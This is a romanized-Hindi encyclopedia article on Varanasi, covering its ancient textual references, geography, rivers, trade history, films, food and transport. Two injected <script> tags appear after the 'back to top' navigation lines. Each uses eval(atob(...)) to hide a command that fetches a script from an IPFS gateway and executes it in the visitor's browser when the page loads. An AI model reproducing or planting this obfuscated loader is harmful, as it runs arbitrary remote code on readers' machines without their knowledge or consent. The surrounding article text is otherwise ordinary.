agnipuran mean 'varana' aur 'asi' nadiyoan ke bich sthit varanasi ka vistar poorv se pashchim do yojan aur doosari jagah adha yojan diya hai.[37]
- matsyapuran
matsyapuran mean isaki lanbaee-chau daee ka spasht vivaran vistar[38] mean milata hai, jahaan isaka vistar poorv se pashchim do yojan tatha dakshin se uttar arddhayojan kaha gaya hai. yahian isaka vistar varanasi nadi se lekar shukl nadi tak evan bhishmachandi se lekar parvateshvar tak vistrit tha.[39]
jain sahity mean varanasi
jain sahity mean bhi varanasi ke sanbandh mean prachur vivaran milate haian.
- parshvanath ke janm ke anusar
jain tirthankar parshvanath ka janm (eesa poorv 8vian shatabdi) varanasi mean mahavir se 250 varsh poorv hua tha. jain anushruti ke anusar inake pita ashvasen banaras ke raja the.[40] [[chitr:Ganga-River-Aarti.jpg|thumb|arati, ganga nadi, varanasi|250px|left]]
- mahakavi ashvaghosh ke anusar
mahakavi ashvaghosh ne buddhacharit mean ‘varanasi’ aur ‘kashi’ ko ek hi nagar mana hai.[41] ek sthan par ullekhit[42] hai ki buddh vanara ke pas ek vriksh ki chhaya mean pahuanche. sanbhavat: ashvaghosh dvara varnit vanara adhunik varuna nadi hai.
- bhagavatisootr mean ullekh
jain granth bhagavatisootr[43] mean solah janapadoan ki soochi mean varanasi ka bhi nam milata hai. us samay bharat ki mukhy rajadhaniyoan mean varanasi ek thi.[44] prachin jain sootroan mean kashi aur koshal mean attharah ganarajyoan ka ullekh hai. motichandr ke anusar yah attharah uparajy the, jo kashi-koshal ke raja prasenajit ke adhin the. jab tirthankar mahavir ki mrityu huee thi, tab kashi aur koshal ke 10 sanyukt rajaoan ne lichchhaviyoan aur malloan ke sath prakash kiya tha.[45]
bauddh sahity mean varanasi
bauddh granthoan mean varanasi ka ullekh kashi janapad ki rajadhani ke roop mean hua hai.[46] buddh poorv kal mean kashi ek samriddh evan svatantr rajy tha. isaka sakshy dete hue svayan buddh ne isaki prashansa ki hai.[47] varanasi ko varuna nadi par sthit batalaya gaya hai.[48] yah nagar vistrit, samriddh aur janakirn tha. [49]mahaparinibbanasutt [50] mean tatkalin chh: prasiddh nagaroan mean varanasi ka ullekh kiya gaya hai. bauddh sahity se pata chalata hai ki buddh is nagar mean kee bar thahare the.
jatakoan mean varnit varanasi
jatakoan mean varanasi nagar ke sandarbh mean vishad vivaran milata hai. is nagar ko sudarshan[51], suruddhan[52], brahmavarddhan[53], rammanagar (ramyanagar)[54] tatha molini[55] jaise any upanamoan se samikrit kiya gaya hai. varanasi ke vibhinn namoan ke sanbandh mean yah kahana kathin hai ki ye is nagar ke alag-alag upanagaroan ke nam the, athava poore varanasi nagar ke bhinn-bhinn nam the.
chini yatriyoan ka itivrit
[[chitr:Xuanzang.jpg|thumb|hven tsaang|200px]] chini yatri fahyan ne ek janapad ke roop mean kashi ka ullekh kiya hai, jabaki hven tsaang ne varanasi ka ullekh kiya hai. fahyan ne is nagar ke sandarbh mean sankshipt vivaran diya he. vah svayan pataliputr mean 22 yojan pashchim chalakar varanasi nagar mean pahuancha tha. usane nagar ke uttar-poorv 10 litar mean rrishiyoan ke ‘mrig-udyan’ (saranath) ke pas viharoan ko dekha tha.[56] satavian shatabdi ke aranbh mean banaras ki dharmik aur samajik sthiti par chini yatri hven tsaang ke varnan se paryapt prakash p data hai. kushinagar se 500 li (100 mil) dakshin-pashchim chalakar yah chini yatri varanasi janapad pahuancha tha.[57] isake anusar banaras 4000 li (667 mil) ki paridhi mean vistrit tha. nagar (rajadhani) ke pashchimi kinare par ganga nadi bahati thi. nagar 18 ya 19 li lanba aur 5 ya 6 li chau da tha. [58] yahaan ki abadi ghani thi. log hut dhanavan the aur unake gharoan mean bahumooly vastuoan ka sangrah tha. yahaan ki jalavayu sukhakar thi aur fasalean achchhi hoti thi. yahaan 30 sangharam the, jinamean sammitiy nikay ke 3000 bhikshu nivas karate the. nagar mean 100 se adhik devamandir the jinamean inake dharmoan ke anuyayiyoan ki sankhya 1000 se oopar thi. inamean shaivoan ki sankhya adhik thi. mukhy rajadhani mean 20 dev-mandir the. in mandiroan mean maheshvaradev ki kaanse ki bani sau phut ooanchi ev moorti sthapit thi, jo apani sajivata aur prabhavapoorn kaanti se sajiv-si pratit hoti thi.[59]
| link=#top|center|oopar jayean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bhaugolik sthiti
varanasi nagar ki rachana ganga ke kinare hai, jisaka vistar lagabhag 5 mil mean hai. ooanchaee par base hone ke karan adhikatar varanasi badh ki vibhishika se surakshit rahata hai, parantu varanasi ke madhy tatha dakshini bhag ke nichane ilake prabhavit hote haian.
nagar ka akar
nagar ke akar ki dharmik manyataoan ke adhar par vyakhya karane ke anek prayas kie gaye haian. in manyataoan ki bhaugolik vyakhya ko kamovesh svikara gaya hai. aise samanyat: prachalit vishvasoan ki soochi is prakar banaee hai-
- krit trishool
is trishool ke tin shool haian- uttar mean oankareshvar, madhy mean vishveshvar tatha dakshin mean kedareshvar. yah tinoan ganga tat par sthit haian. maannyata hai ki yah nagari bhagavan shiv ko samarpit hai aur unake trishool par sthit hai.
- tretayug chakr
chaurasi kos yatra ke tadanuroop hai aur madhyameshvar isaka kendr hai jo ganga ke nikat avasthit hai.thumb|250px|left|sooryast ka ek drishy, varanasi
- dvapar rath
sat prakar ke shiv mandir, rath ka samaroop banate haian. ye haian- gokarneshvar, sulatanakeshvar, manikarneshvar, bharabhooteshvar, vishveshvar, madhyameshvar tatha oankareshvar. is akar mean bhi ganga nadi ki mahattvapoorn bhoomika hai.
- shankhakar
yahaan bhi mandiroan ki sthiti ke samaroop akar mana gaya hai aur ganga nadi yah akar nirdharit karati hai. is akar ko banane vale mandir haian- uttar pashchim mean vidhnaraj aur vinayak, uttar mean shaileshvar, dakshin poorv mean kedareshvar aur dakshin mean lolark.
dharatal ki sanrachana
varanasi ke dharatal ki sanrachana thos kank doan se huee haian. adhunik rajaghat ka chauras maidan jahaan nadi-naloan ke katav nahian milate, shahar basane ke lie upayukt tha. varanasi shahar ke uttar mean varuna aur dakshin mean assi nala hai, uttar-pashchim ki or yadyapi aisa koee prakritik sadhan (paha diyaan, jhil, nadi ityadi) nahian hai jisase nagar ki suraksha ho sake, tathapi yah nishchit hai ki kashi ke samipavarti gahan van, jinaka ullekh jatakoan, jain evan pauranik granthoan mean aya hai, kashi ki suraksha mean mahattvapoorn bhoomika ada karate rahe hoange.[60]
bhoo-sthapana
[[chitr:Ghat-Varanasi-2.jpg|thumb|250px|varanasi mean ganga nadi ke ghat]] varanasi ki sthapana ka adhar sudoor prachin kal mean dharmik n hokar arthik ya vyaparik tha. varanasi ki bhoo-sthapana ka karan yahaan ki bhaugolik sthiti hai. yah shahar ardhachandrakar mean ganga ki rachana kinare par avasthit hai. varanasi ki rachana ek ooanche kankarili jagah par hai, jo ganga ke pashchimi kinare par avasthit hai, jahaan badh ka khatara nahian rahata hai. yah adhunik rajaghat ka chauras maidan haian jahaan nadi-naloan ka katav nahian milata, yah shahar basane ke lie upayukt tha. ek or "varana" nadi to doosari or ganga nagar ki prakritik khaee ka kam karati hai. yahaan ke jangal bhi varanasi ke bachav ke lie apani bhoomika ada karate rahe hogean. varanasi ke bachav mean adhunik mirzapur zile ki viandhyachal ki paha diyaan bhi mahattvapoorn thian. varanasi ke vyapari pashchim ki or ganga aur yamuna ke raste mathura pahuanchate the tatha poorab ki or chanpa hote hue tamralipti ke bandaragah tak jate the. varanasi usi mahajanapad par avasthit thi jo takshashila se rajagrih ke bad pataliputr ko jata tha.[61]
prakritik banavat
jab aranbhik yug mean varanasi mean manushy base to varanasi ki prakritik banavat ka kya roop tha par krityakalpataru, kashikhand aur 19vian sadi ke jan priansep ke nakshe ke adhar par yah kahana sambhav hai ki ganga-varana sangam se lekar ganga assi sangam ke kuchh uttar tak ek kankarila karara hai, jo godauliya nale ke pas kat jati hai. zamin ki satah nadi ki satah se nichi p d jane par pani varana mean chala jata tha. godauliya nale mean misir pokhara, lakshmikund tha, beniya talab ka pani ganga mean bah jata tha. machhodari rakabe ka pani varana mean girata tha. machhodari ke poorab mean kagar ke niche ek chauras maidan p d jata tha jisake uttar mean nale bahate the.[61] thumb|left|250px|banaras ka ek drishy
nadi ke roop mean ullekh
sthalapuranoan mean matsyodari ka kashi mean ek nadi ke roop mean ullekh ek paheli hai. lakshmidhar 1 ne tirth vivechan kaand mean [62] is nadi ka tin bar ullekh kiya hai. ek sthan par (prishth 34-35) shushk nadi yani assi ko piangala na di, varuna ko ila na di aur in donoan ke bich matsyodari ko sushumna na di mana hai. anyatr [63] ganga aur matsyodari ke sangam par snan mokshadayak mana gaya hai. tisare sthan par is nadi ke tir par devalok chho dakar devataoan ke basane ki bat kahi gayi hai. mitr mishr dvara uddhrit kashikhand[64] mean matsyodari ko bahirantashchar kaha gaya hai aur vah ganga ke pratikool dhara (sanhar marg) se milati thi. solahavian sadi mean pandit narayan ki vyutpatti ke anusar matsyakar kashi ke garbh mean avasthit hone se isaka nam matsyodari p da.[61]
matsyodari tirth
uparyukt samagri ke avalokan se sabhi batean spasht ho jati haian. kashi khand ke anusar shivaganoan ne matsyodari tirth ke sannikat shailoan se ghira hua durg banaya aur usake pas matsyodari ke jal se bhari parikha (mot) thi. at: ek to matsyodari jhil thi jisaka jal bhitar hi bhitar pravahit tha ya aantashchar tha aur doosari matsyodari parikha thi jisaka jal bahakar varuna ko pichhe thelata tha. varsha kal mean ganga mean badh ati to ganga ka pani varuna ko pichhe thelata matsyodari parikha mean pravisht hota aur aantat: matsyodari tirth mean a pahuanchata. isi ko punit matsyodari yog kaha jata hai. is bahate hue ganga jal se kashi kshetr poornat: ghir jata aur usaka svaroop machhali sa ho jata hai.[61]
kavyamayi bhasha
thumb|220px|ramanath mandir, banaras isi sthiti ko tristhali setu ne kavyamayi bhasha mean kaha hai ki aisa pratit hota hai ki ganga ne svayan matsyodari rupar dharan kar liya hai. is punit sangam ka mahatmy batate hue likha hai ki samast tirth aur shivaliang yahaan prapt ho jate haian. ganga-varuna aur matsyodari ka yah sangam aankareshvar ke pas hota tha aur yahian bhairavarup bhagavanh shankar ne snan kiya tha aur kapalamochan tirth ki srishti huee thi. varanasi mean tin punyada nadiyoan ki charcha krity-kalpataru ne ki hai- ye haian- pitamah-srotika (brahmanal), mandakini (madhyameshvar ke pas) aur matsyodari (oankareshvar ke pas) ye tinoan varsha ke dinoan mean nadi ka roop dharan karati thi. pitamahasrotika nale se avimukteshvar kshetr ka jal ganga mean girata tha. mandakini mean vartaman daranagar, ausanaganj, kashipura, vishvesaraganj ka jal ekatr hota tha jo bulanala, saptasagar bhuletan, beniya, misirapokhara, godavari tirth (godauliya) hote hue shitalaghat ke pas ganga mean girata tha. matsyodari parikha ka jal oankareshvar ke pas hote hue varuna mean girata tha. b di badh mean matsyodari ke bhar jane par jal shivat dag [65] ko bharata hua mandakini mean milata, vahaan se dashashvamegh ke pas ganga mean milata. is prakar rajaghat se dashashvamegh tak ka samoocha kshetr pani se ghir jata tha ya varanasi kshetr hi matsyakar ho jata tha.[61]
pauranik vyutpatti
varanasi ki pauranik vyutpatti ko svikar karane mean bahut si kathinaiyaan hai. pahali kathinaee to yah hai ki assi nadi n hokar bahut hi sadharan nala hai aur is bat ka bhi koee praman nahian hai ki prachin kal mean isaka roop nadi ka tha. prachin varanasi ki sthiti bhi is mat ka samarthan nahian karati. pray: vidvan ek mat hai ki prachin varanasi adhunik rajaghat ke ooanche maidan par basi thi aur isaka prachin vistar jaisa ki bhagnavasheshoan se bhi pata chalata hai - varana ke us par bhi tha, par assi ki taraf to bahut hi kam prachin avashesh mile haian aur jo mile bhi haian ve paravarti arthat madhyakal ke haian. matsy puran mean kaha gaya hai-
varanasyaan nadi pu siddhagandharvasevita.
pravishta tripatha ganga tasminh kshetre mam priye..[66]
arthat- he priye, siddh gandharvoan se sevit varanasi mean jahaan puny nadi tripathaga ganga ata hai vah kshetr mujhe priy hai. yahaan assi ka ullekh nahian hai. varanasi kshetr ka vistar batate hue matsy puran mean ek aur jagah kaha gaya hai-
varana ch nadi yavadyavachchhushkanadi tatha.
bhishmayandikamarambh parvateshvaramanti ke..[67]
arthat- poorv se pashchim do yojan ya dhaee yojan lambaee varana se asi tak hai, aur chau daee arddhayojan bhishmachandi se parvateshvar tak hai.
varanasi ke basane ki kalpana
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aitihasik alekhoan se pramanit hota hai ki eesa poorv ki chhathi shatabdi mean varanasi bharatavarsh ka b da hi samriddhashali aur mahattvapoorn rajy tha.
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assi aur varana ke bich mean varanasi ke basane ki kalpana us samay se uday huee jab nagar ki dharmik mahima badhi aur usake sath-sath nagar ke dakshin mean abadi badhane se dakshin ka bhag bhi usaki sima mean a gaya. lekin prachin varanasi sadaiv varana par hi sthit nahian thi, ganga tak usaka prasar hua tha. kam-se-kam pantajali ke samay mean arthath eesa poorv doosari shatabdi mean to yah ganga ke kinare-kinare basi thi, jaisi ki ashtadhyayi ke sootr "yasy aya:'[68] par pantajali ne bhashy "anugang' varanasi, anushonan pataliputran [69] se vidit hai. maury aur shuang yug mean rajaghat par ganga ki or varanasi ke basane ka praman hamean puratattv ke sakshy se bhi lag chuka hai.[61]
| link=#top|center|oopar jayean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varanasi ki nadiyaan
varanasi ka vistar ganga nadi ke do sangamoan varuna aur asi nadi se sangam ke bich bataya jata hai. in sangamoan ke bich ki doori lagabhag 2.5 mil hai. is doori ki parikrama hinduoan mean panchakosi yatra ya panchakosi parikrama kahalati hai. varanasi zile ki nadiyoan ke vistar se adhyayan karane par yah jnat hota hai ki varanasi mean to prasravak nadiyaan hai lekin chandauli mean nahian hai jisase us zile mean jhilean aur daladal haian, adhik barasat hone par gaanv pani se bhar jate haian tatha fasal ko kafi nuqasan pahuanchata hai.
ganga
[[chitr:Ganga-River-Varanasi-9.jpg|ganga nadi, varanasi|thumb|250px]]
ganga ka varanasi ki prakritik rachana mean mukhy sthan hai. ganga varanasi mean gangapur ke betavar gaanv se pahale ghusati hai. yahaan par isase subaha nala a mila hai. varanasi ko vahaan se pray: sat mil tak ganga mirzapur zile se alag karati hai aur isake bad varanasi zile mean varanasi aur chandauli ko vibhajit karati hai. ganga ki dhara ardh-vrittakar roop mean varsh bhar bahati hai. isake bahari bhag ke oopar karare p date haian aur bhitari bhag mean baloo athava badh ki mitti milati hai. ganga ka rukh pahale uttar ki taraf hota hua ramanagar ke kuchh age tak dehat amanat ko ralhoopur se alag karata hai. yahaan par kinara kankarila hai aur nadi usake thik niche bahati hai. yahaan toofan mean navoan ko kafi khatara rahata hai. dehat amanat mean ganga ka baanya kinara muandadev tak chala gaya hai. isake niche ki or vah ret mean parinat ho jata hai aur badh mean pani se bhar jata hai. ramanagar chho dane ke bad ganga ki uttar-poorv ki or jhukati doosari kehuni (kaman, taraf) shuroo hoti hai. dhara yahaan bayean kinare se lagakar bahati hai.
banaganga
ramagadh mean banaganga ke tat par vairaant namak sthal ke prachin khandaharoan ki sthiti hai, jo mahattvapoorn hai. lok kathaoan ke anusar yahaan ek samay prachin varanasi basi thi. sabase pahale bairaant ke khandaharoan ki jaanch p datal karlaeel 2 ne ki. vairaant ki sthiti ganga ke dakshin mean saidapur se dakshin-poorv mean aur varanasi ke uttar-poorv mean qarib 16 mil aur gazipur ke dakshin-pashchim qarib 12 mil hai. vairaant ke khandahar banaganga ke vartulakar dakshin-poorvi kinare par haian.
| link=#top|center|oopar jayean |
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arthavyavastha
udyog aur vyapar
[[chitr:Bangles-Varanasi.jpg|choo diyoan ka drishy, varanasi|thumb|250px]] varanasi kala, hastashilp, sangit aur nrity ka bhi kendr hai. yah shahar resham, sone v chaandi ke taroan vale zari ke kam, lak di ke khilaunoan, kaanch ki choo diyoan, hathi daant aur pital ke kam ke lie prasiddh hai. yahaan ke pramukh udyogoan mean rel ianjan nirman ikaee shamil hai.
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kashi ko 'mahashhmashan' ke nam se bhi jana jata hai. ise prithvi ki sabase b di shamashan bhoomi mana jata tha. yahaan ke manikarnika ghat tatha harishhchandr ghat ko sabase pavitr ghat mana jata hai.
chitr:Blockquote-close.gif |
varanasi ke karigaroan ke kala- kaushal ki khyati sudoor pradeshoan tak mean rahi hai. varanasi ane vala koee bhi yatri yahaan ke reshami kimakhab tatha zari ke vastroan se prabhavit hue bina nahian rah sakata. yahaan ke bunakaroan ki paranparagat kushalata aur kalatmakata ne in vastuoan ko sansar bhar mean prasiddhi aur manyata dilayi hai . videsh vyapar mean isaki vishisht bhoomika hai . isake utpadan mean badhottari aur vishishtata se videshi mudra arjit karane mean b di saphalata mili hai . resham tatha zari ke udyog ke atirikt, yahaan pital ke bartan tatha un par manohari kam aur sanjarat (jhaanjh majhira) udyog bhi apani kala aur sauandary ke lie vikhyat haian . isake alava yahaan ke lak di ke khilaune bhi door- door tak prasiddh haian, jinhean kutir udyogoan mean mahattvapoorn sthan prapt haian .
vanijy aur vyapar ka pramukh keandr
varanasi nagar vanijy aur vyapar ka ek pramukh keandr tha. sthal tatha jal margoan dvara yah nagar bharat ke any nagaroan se ju da hua tha. kashi se ek marg rajagrih ko jata tha.[70] kashi se veranja jane ke lie do raste the-
doosara marg banaras se vaishali ko chala jata tha.[71] varanasi ka ek sarthavah paanch sau ga diyoan ke sath pratyant desh gaya tha aur vahaan se chandan laya tha.[72]
samudri vyapar
varanasi ke vyapari samudri vyapar bhi karate the. kashi se samudr yatra ke lie navean chhootati thian.[73] is nagar ke dhani vyapariyoan ko vyapar ke uddeshy se samudr par jane ka ullekh hai.[74] jatakoan mean bhi vyapar ke uddeshy se bahar jane ka ullekh milata hai. ek jatak mean ullekh hai ki banaras ke vyapari dishakak lekar samudr yatra ko ge the.[75] ek any vyapari mitravidank jahaz lekar samudr yatra par gaya tha, jahaan use anek kashtoan ka samana karana p da.[76]mala vikreta, varanasi|thumb|left|250px
- mahavagg[77] mean kashiraj brahmadatt ko vipul dhan ka svami, bhog-vilas ki samagri se paripoorn kaha gaya hai. isase yah vidit hota hai ki any nagaroan ya janapadoan ki tulana mean kashi ki arthik sthiti achchhi thi.
- dighanikay mean sankh namak raja ke rajatv mean sataratnoan- chakkaratan, hastiratnan, maniratnan, hatthiratnan, grihapatiratnan evan parinayak ratn- se yukt varanasi nagari ko ketumati namak samriddh evan bahujana tatha akishnanuma hone ki bhavishyavani ki gee hai.[78] yah vivaran isaki samriddhi ka soochak hai.
kashth vyavasay
jatakoan ke anusar varanasi kashth vyavasay ka bhi ek pramukh keandr tha. in nagar ke pas ek baddhaki gram tha, jahaan badheeyoan ki basti thi. is basti mean 5 sau badhee rahate the.[79] ve jangaloan mean jakar grihanirman mean prayukt hone vali lak diyoan ko kat lete the. ye badhee ek, do athava kee manjiloan vale makan banane mean daksh the.[80]
gajadant-vyavasay
varanasi mean gajadant-vyavasay ka bhi vistrit prachar tha. jatakoan mean yahaan ek dantakar vithi (gali) ka ullekh aya hai, yahaan hathidaant ki vastuyean banati thi.[81] varanasi ke vyapari vikray ki anek vastuoan ke atirikt hathi daant ke bane hue saman bhi desh ke any bhagoan mean pahuanchate the. vartaman samay mean hathidaant bharat sarakar dvara pratibandhit hai, at: hathidaant ke abhooshanoan aur isake any utpad upalabdh nahian haian. isake atirikt yahaan mitti ke bartan evan khilaune adi bhi banae jate the, jinaka samarthan puratatvik utkhanan se bhi prapt pramanoan se nishchit hota hai.
kasik chandan (kashi ka chandan)
isake atirikt ‘kasik chandan’ bhi varanasi ka ek pramukh udyog tha jatakoan mean ‘kasik chandan’ ka ullekh kee sthaloan par aya hai.[82] pandar jatak[83] mean ‘kasik chandananch’ shabd milata hai. in ullekhoan se yah vidit hota hai ki bauddh kal mean varanasi chandan ke udyog evan vyapar ke lie suvikhyat tha.
bahumooly vastroan ke atirikt kashi janapad chandan ke lie bhi prasiddh tha. jatakoan aur aanguttaranikay[84] mean ‘kasi vilepan’ aur ‘kasi chandan’ ka ullekh milata hai. kashi mean chandan ki lak di ka udyog miliandapanhoan mean bhi milata hai.[85] thumb|250px|sa di ki dukan, varanasi is prakar yah nishchit hai ki bauddh sahity mean varanasi ko vyapar aur vanijy ke kshetr mean samriddhiprapt thi jisaka vivaran bauddh granthoan mean anekash: milata hai.
gho doan ka vyapar
'varanasi mean uttarapath ke gho doan ka vyapar hota tha. yahaan ke bazar mean suandar evamh achchhe saiandhav gho de upalabdh the, jinaki maang adhik rahati thi. anekash: gho de ke vyapariyoan ko uttarapath (gaandhar-takshashila) se gho de lekar varanasi mean bechane ane ka ullekh hai. uttarapath mean paanch sau ashvoan ko lekar vyapararth vyapariyoan ka varanasi mean ane ka praman milata hai.'[86]
varanasi se vyapar ke lie desh ke any bhagoan mean vastr, chandan, hathidaant ke saman, mitti ke bartan evan khilaune tatha kashth ke bane hue saman bheje jate the, jinaka ullekh jatakoan mean vistar se aya hai.
bahumooly vastroan ke lie vikhyat
buddh kal mean varanasi nagari suandar, bahumooly vastroan ke lie bhi vikhyat thi jisaka ullekh bauddh granthoan mean anek sthaloan par milata hai. sanyukt nikay ke vatthisutt mean kashi ka bana kap da any samast jagahoan se bane hue kap doan mean agr (shreshth) bataya gaya hai.[87]
- majjhimanikay ki atthakatha mean yahaan ke vastroan ki prabhoot prashansa ki gee hai.[88] ek sthal par ek dhoort ne jivakamravan ko jati huee shubha bhikshuni ko kashi ke sookshm vastroan ka lobh dilakar bhulane ki cheshta mean usase kaha tha ki ‘‘kashi ke uttam vastroan ko dharan karane vali mujh roopavati ko chho dakar tum kahaan jaoge.’’[89]
- miliandapanhoan mean ullekhit hai ki yavan shasak miliand ki rajadhani sagal (syalakot) mean bhi kashi ke vastr vikray ke lie jate the.[90]
is prakar yah suvidit hai ki buddh kal mean kashi ke vastr mahattvapoorn the.
vyaparik marg
varanasi tatkalin vyaparik margoan ka ek pramukh keandr tha. desh ke vibhinn bhagoan mean yah vyaparik margoan se ju da hua tha. sthal marg se vyapar ke lie jate hue varanasi ke vyapariyoan ko bhayavah jangaloan ke karan hone vale kashtoan ka samana karana p data tha.[91] jatakoan se jnat hota hai ki banaras se ek rasta takshashila ko jata tha. takshashila us yug mean bharatiy aur videshi vyapariyoan ka milan keandr tha.[92] ek jatak mean varanasi se shilp vidya sikhane ke lie takshashila jane ka ullekh milata hai.[93]
manoranjan
filmean
bharatiy sinema mean varanasi ki sanskriti aur usaki prishthabhoomi par adharit kee filmoan ka mahattvapoorn yogadan hai. jinamean se kuchh pramukh filmean nimnalikhit haian- thumb|120px|banaras – e mistik lav stori
- banaras – e mistik lav stori
banaras – e mistik lav stori banaras shahar mean bani ek hindi film hai. is film mean banaras ki galiyoan, ghatoan aur mandiroan ko ek prem kahani mean piroya gaya hai. ath karo d ki lagat vali is film mean nasiruddin shah, dianpal kapa diya, urmila matoandakar, asmit patel aur akash khurana ne pramukh bhoomikaean nibhaee haian. thumb|left|120px|joi baba phelunath
- joi baba phelunath
joi baba phelunath (1979) bharat ratn sammanit nirdeshak satyajit re dvara nirdeshit ek baangla film hai. is film ke abhineta saumitr chatarji, santosh datta, siddarth chatarji, utpal datt adi haian. yah film satyajit ray ke prasiddh upanyas feluda par adharit hai. thumb|120px|khee ke pan banaras vala
- d aaun (1978)
1978 ki suparahit hindi film d aaun ka gana khee ke pan banaras vala amitabh bachchan ke sath banarasi pan ki prashansa mean gaya gaya tha aur bahut lokapriy hua tha.
khanapan
thumb|pan vala, varanasi varanasi mean bahut se bhojanalay haian jahaan par svadisht bhojan milata hai.
- jayapuriya hotal
jayapuriya hotal varanasi mean godauliya chauk ke pas sthit hai. is hotal mean bahut shvadishht bhojan milata hai. yahaan par khas thali milati hai. isamean tin sabhji, dal, kadhi, roti, chaval, salad tatha pap d hota hai. is bhojanalay ki khas bat hai ki yahaan bhojan lak di ke ag par banaya jata hai. is bhojan ko banane mean phyaj aur lahasun ka bhi upayog nahian hota hai.
- kachau di-sabhji
varanasi ke log nashhte mean bahudha kachau di-sabhji khana pasand karate haian. yahaan ke log kachau di-sabhji ke sath jalebi khate haian.
- vishhvanath sahab hotal
vishhvanath sahab hotal godauliya chauk ke pas sthit hai. yahaan deshi ghi ki kachau di-sabhji prasiddh hai. is hotal ke pas 'kashi chat bhandar' hai. kashi chat bhandar ki chat bahut shvadishht hoti hai.
- pan
varanasi pan ke lie prasiddh hai. varanasi ane valoan mean pan khane ka shauq rakhane vale ko banarasi pan zarur khana chahie. hindi ki suparahit film d aaun ka gana khee ke pan banaras vala jo amitabh bachchan par chitraankit kiya gaya tha, banarasi pan ki prashansa mean gaya gaya tha aur bahut lokapriy hua tha.
krishi aur khanij
thumb|150px|kapas chunati yuvati
kapas ki kheti
varanasi nagar ko vanijy ke kshetr mean bhi khyati prapt tha. jatakoan se bhi vidit hota hai ki varanasi ke bahumooly, rangin, sugandhit, suvasit, patale evan chikane kap de vikray ke lie sudoor deshoan mean bheje jate the. kashi mean bane vastroan ko ‘kashi kuttam,[94] aur ‘kasiy’[95] bhi kahate the. sanbhavat: in shabdoan ka prayog gunavachak sandarbh mean kiya gaya hai. aisa samajha jata hai ki ek samay varanasi ke asapas kapas ki achchhi kheti hoti thi. tuandil jatak mean[96] varanasi ke asapas kapas ke khetoan ka varnan milata hai. ek jatak mean vairagy lene vale pati ke man ko akarshit karane ke lie usaki patni chandan se suvasit banarasi reshami sa di pahanane ki pratijna karati hai.[97] mahahans jatak mean kashiraj ke ghar mean vidyaman bahumooly samagriyoan mean ratn, sona, chaandi, moti, billaur, mani, shankh, vastr, hathidaant, bartan aur taanba ityadi pramukh the.
yatayat aur parivahan
kisi nagar ke vikas ka ek mukhy karan yatayat ke sadhan haian. bahut prachin kal se varanasi mean yatayat ki achchhi suvidha rahi hai. yatriyoan ke aram par banarasavasiyoan ka kafi dhyan tha. banarasavasi s dakoan par janavaroan ke lie pani ka bhi prabandh karate the. jatakoan mean (ja. 175) ek jagah kaha gaya hai ki kashi janapad ke rajamarg par ek gahara kuaan tha jisake pani tak pahuanchane ke lie koee sadhan n tha. thumb|250px|left|lal bahadur shastri havaee adda, varanasi us raste se jo log jate the ve puny ke lie pani khianchakar ek droni bhar dete the jisase janavar pani pi sakean. varanasi havaee, rel tatha s dak marg dvara desh ke anhy bhagoan se ju da hua hai.
- havaee marg
varanasi ka sabase nazadiki havaee adda babatapur mean hai. yah varanasi se 22 kilomitar tatha saranath se 30 kilomitar door hai. dilli, agara, khajuraho, kolakata, muanbee, lakhanoo, bhuvaneshhvar tatha kathamaandoo se yahaan ke lie sidhi havaee seva hai.
- rel marg
thumb|250px|varanasi relave steshan varanasi kaiant tatha mugalasaray (varanasi ke mukhhy relave shteshan se 16 kilomitar door) yahaan ka mukhhy rel jankhshan hai. ye donoan jankhshan varanasi ko desh ke anhy pramukh nagaroan se jo date haian.
- s dak marg
varanasi s dak marg dvara desh ke anhy nagaroan se ju da hua hai. dilhli se varanasi ke lie sidhi bas seva hai. yahaan ke aee.es.bi.ti. tatha ananhd vihar bas adde se varanasi ke lie basean chalati haian. lakhanoo tatha ilahabad se bhi varanasi ke lie sidhi bas seva hai.
- sarvajanik yatayat
varanasi shahar ke sthaniy prachalit yatayat sadhan aauto riksha evan saikil riksha haian. bahari kshetroan mean nagar-bas seva mean mini-basean chalati haian. chhoti navean aur chhote stimar ganga nadi par karane hetu upalabdh rahate haian.
- jal marg
varanasi ke dharmik aur vyaparik prabhav ka mukhy karan isaki ganga par sthiti hona hai. ganga mean bahut prachin kal se navean chalati thian jinase kafi vyapar hota tha. varanasi se kaushaanbi tak jalamarg se doori 30 yojan di huee hai. varanasi se samudr yatra bhi hoti thi.thumb|left|250px|bazar ka ek drishy, varanasi ek jatak [99] mean kaha gaya hai ki varanasi ke kuchh vyapariyoan ne disakak lekar samudr yatra ki. yah disha kak samudr yatra ke samay kinare ka pata lagane ke lie chho da jata tha. kabhi-kabhi kashi ke raja bhi navoan ke be doan mean yatra karate the.[100]
alabarooni ke samay mean [101] bari [102] se ek s dak ganga ke poorvi kinare ayodhya pahuanchati thi. bari se ayodhya 25 pharasang tatha vahaan se varanasi 20 pharasang tha. yahaan se gorakhapur, patana, muanger hoti huee yah s dak gangasagar ko chali jati thi. ek yahi vaishali vali prachin s dak hai aur isaka upayog saltanat yug mean bahut hota tha.
graind trank rod
bazar ka drishy, varanasi|thumb|250px s dak-e-ajam jise ham graind trank rod kahate haian, bahut prachin s dak hai jo maury kal mean pushpakalavati se pataliputr hoti huee tamralipti tak jati thi. sherashah ne is s dak ka pun: uddhar kiya, is par saray banavaeean aur dak ka prabandh kiya. kahate haian ki yah s dak-e-ajam bangal mean sonaragaanv se siandh tak jati thi aur isaki lambaee 1500 kos thi. yah s dak varanasi se hokar jati thi. is s dak ki akabar ke samay mean kafi unnati huee aur shayad usi kal mean mirzamurat aur saiyadaraj mean sarayean bani. agara se patana tak is s dak ka varnan pitar manti ne 1632 eean. mean kiya hai. ek s dak dilli- muradabad, banaras hokar patana jati thi aur doosari agara - ilahabad hokar varanasi ati thi. in b di s dakoan ke atirikt bahut se chhote-mote raste varanasi ko jaunapur, gazipur aur mirzapur se milate the.
chaurahoan par sabhaean
